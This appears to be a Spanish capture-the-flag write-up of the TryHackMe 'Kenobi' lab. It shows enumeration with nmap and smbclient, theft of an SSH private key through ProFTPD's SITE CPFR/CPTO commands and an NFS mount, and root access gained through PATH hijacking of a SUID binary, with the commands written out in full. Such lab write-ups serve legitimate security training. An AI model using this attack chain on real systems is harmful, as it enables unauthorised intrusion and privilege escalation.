Maquina orientada a profundizar en los Shares de Linux. Explotaremos el servicio samba.
Enumeración
nmap --script=vuln -p- -T5 ip -oN -n nmap.kenobi.txt
Puertos abiertos:
21/tcp open ftp
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
2049/tcp open nfs
36617/tcp open unknown
37725/tcp open unknown
38321/tcp open unknown
44153/tcp open unknown
Http
Vemos que tiene un servidor web. Hacemos un wget para ver que nos retorna:
wget Ip
Nos da una foto starwars la cual no tiene mucho valor.
El scan de nmap nos ha dicho que puede haber algo en admin.html
.
wget IP\admin.html
Nos retorna otra imagen, por lo tanto por aquí no está claro que podamos entrar.
Smb
El puerto de smb está abierto. Para ver si tenemos acceso usamos smbclient
, con la flag -L
para listar los shares.
└─$ smbclient -L 10.10.101.254 2 ⚙
Enter WORKGROUP\kali's password:
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
anonymous Disk
IPC$ IPC IPC Service (kenobi server (Samba, Ubuntu))
SMB1 disabled -- no workgroup available
Vemos que hay un share llamado Anonymous, vamos a conectarnos con smbclient
para ver que hay.
└─$ smbclient //10.10.101.254/anonymous 2 ⚙
Enter WORKGROUP\kali's password:
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Wed Sep 4 06:49:09 2019
.. D 0 Wed Sep 4 06:56:07 2019
log.txt N 12237 Wed Sep 4 06:49:09 2019
9204224 blocks of size 1024. 6877096 blocks available
smb: \>
Vemos que hay un archivo interesante llamado log.txt. Nos lo descargamos y lo curioseamos.
get log.txt
└─$ cat log.txt | head 1 ⨯ 2 ⚙
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kenobi/.ssh/id_rsa):
Created directory '/home/kenobi/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kenobi/.ssh/id_rsa.
Your public key has been saved in /home/kenobi/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:C17GWSl/v7KlUZrOwWxSyk+F7gYhVzsbfqkCIkr2d7Q kenobi@kenobi
The key's randomart image is:
FTP
El puerto 21 de la maquina está abierto. nos conectamos por nc para ver que hay.
Vemos que es un servidor FTP.
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.104.80]
site help
214-The following SITE commands are recognized (* =>'s unimplemented)
CPFR <sp> pathname
CPTO <sp> pathname
HELP
CHGRP
CHMOD
214 Direct comments to root@kenobi
site cpfr /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
site cpto /var/id_rsa
550 cpto: Permission denied
site cpto /var/tmp/id_rsa
503 Bad sequence of commands
site cpfr /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
site cpto /var/tmp/id_rsa
250 Copy successful
Listamos los nfs
└─# nmap -p 111 -script=nfs-ls 10.10.101.254 1 ⚙
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-16 08:17 EDT
Nmap scan report for 10.10.101.254
Host is up (0.069s latency).
PORT STATE SERVICE
111/tcp open rpcbind
| nfs-ls: Volume /var
| access: Read Lookup NoModify NoExtend NoDelete NoExecute
| PERMISSION UID GID SIZE TIME FILENAME
| rwxr-xr-x 0 0 4096 2019-09-04T08:53:24 .
| rwxr-xr-x 0 0 4096 2019-09-04T12:27:33 ..
| rwxr-xr-x 0 0 4096 2019-09-04T12:09:49 backups
| rwxr-xr-x 0 0 4096 2019-09-04T10:37:44 cache
| rwxrwxrwt 0 0 4096 2019-09-04T08:43:56 crash
| rwxrwsr-x 0 50 4096 2016-04-12T20:14:23 local
| rwxrwxrwx 0 0 9 2019-09-04T08:41:33 lock
| rwxrwxr-x 0 108 4096 2019-09-04T10:37:44 log
| rwxr-xr-x 0 0 4096 2019-01-29T23:27:41 snap
| rwxr-xr-x 0 0 4096 2019-09-04T08:53:24 www
|_
Ver donde está montado el nfs:
└─# nmap -p 111 -script=nfs-statfs 10.10.101.254 1 ⚙
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-16 08:25 EDT
Nmap scan report for 10.10.101.254
Host is up (0.077s latency).
PORT STATE SERVICE
111/tcp open rpcbind
| nfs-statfs:
| Filesystem 1K-blocks Used Available Use% Maxfilesize Maxlink
|_ /var 9204224.0 1836520.0 6877108.0 22% 16.0T 32000
Nmap done: 1 IP address (1 host up) scanned in 1.37 seconds
└─# nmap -p 111 -script=nfs-showmount 10.10.101.254 1 ⚙
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-16 08:26 EDT
Nmap scan report for 10.10.101.254
Host is up (0.064s latency).
PORT STATE SERVICE
111/tcp open rpcbind
| nfs-showmount:
|_ /var *
Nmap done: 1 IP address (1 host up) scanned in 0.78 seconds
Montamos el Share
mkdir share
mount 10.10.104.80:/var share/
Nos traemos la clave rsa.
Logeandonos como konbi
└─$ chmod 600 id_rsa 2 ⚙
┌──(kali㉿kali)-[~/bootcamp-pentest/9-THM/kenobi]
└─$ ssh -i id_rsa kenobi@10.10.104.80
Buscando archivos interesantes
find * -perm /4000 2>/dev/null
Output:
bin/umount
bin/fusermount
bin/mount
bin/ping
bin/su
bin/ping6
sbin/mount.nfs
usr/lib/policykit-1/polkit-agent-helper-1
usr/lib/dbus-1.0/dbus-daemon-launch-helper
usr/lib/snapd/snap-confine
usr/lib/eject/dmcrypt-get-device
usr/lib/openssh/ssh-keysign
usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
usr/bin/chfn
usr/bin/newgidmap
usr/bin/pkexec
usr/bin/passwd
usr/bin/newuidmap
usr/bin/gpasswd
usr/bin/menu <----- binario rarito
usr/bin/sudo
usr/bin/chsh
usr/bin/at
usr/bin/newgrp
Comprobamos el Fichero
kenobi@kenobi:/$ /usr/bin/menu
***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :^C
Vemos que ejecuta 3 binarios.
Hacemos un strings para ver las cadenas que tiene dentro.
Output:
[]A\A]A^A_
***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :
curl -I localhost
uname -r
ifconfig
Invalid choice
;*3$"
GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.11) 5.4.0 20160609
Aquí podemos observar que el binario llama a los programas curl
, uname
y ifconfig
.
Llamar a estos comandos de esta manera y no con path absolutos hace que esta aplicación sea vulnerable.
Cuando llamamos a una aplicacion por su nombre, lo que sucede es que bash, mira la variable $PATH y mira si el comando introducido lo tiene en la ruta. En esta variable de entorno se guardan las rutas a todos los ejecutables del sistema.
¿Pero que pasa si modificamos el $PATH y le añadimos un nuevo directorio con nuestros binarios?
Digamos que creamos un ejecutable llamado curl
y lo guardamos en ~
y agregamos nuestro home al $PATH.
export $PATH=~/:$PATH
Esto provocaria que al llamar a curl
bash miraría primero en $PATH y se encontraría con un curl en el home, por lo tanto ejecutaría nuestro curl malicioso.
Al tener el binario menu el permiso de Suid como Root hace que nos retorne una shell como root.
kenobi@kenobi:/$ cd
kenobi@kenobi:~$ vi curl
kenobi@kenobi:~$ chmod +x curl
kenobi@kenobi:~$ export PATH=~/:$PATH
kenobi@kenobi:~$ curl
$
kenobi@kenobi:~$ /usr/bin/menu
***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :1
# whoami
root
#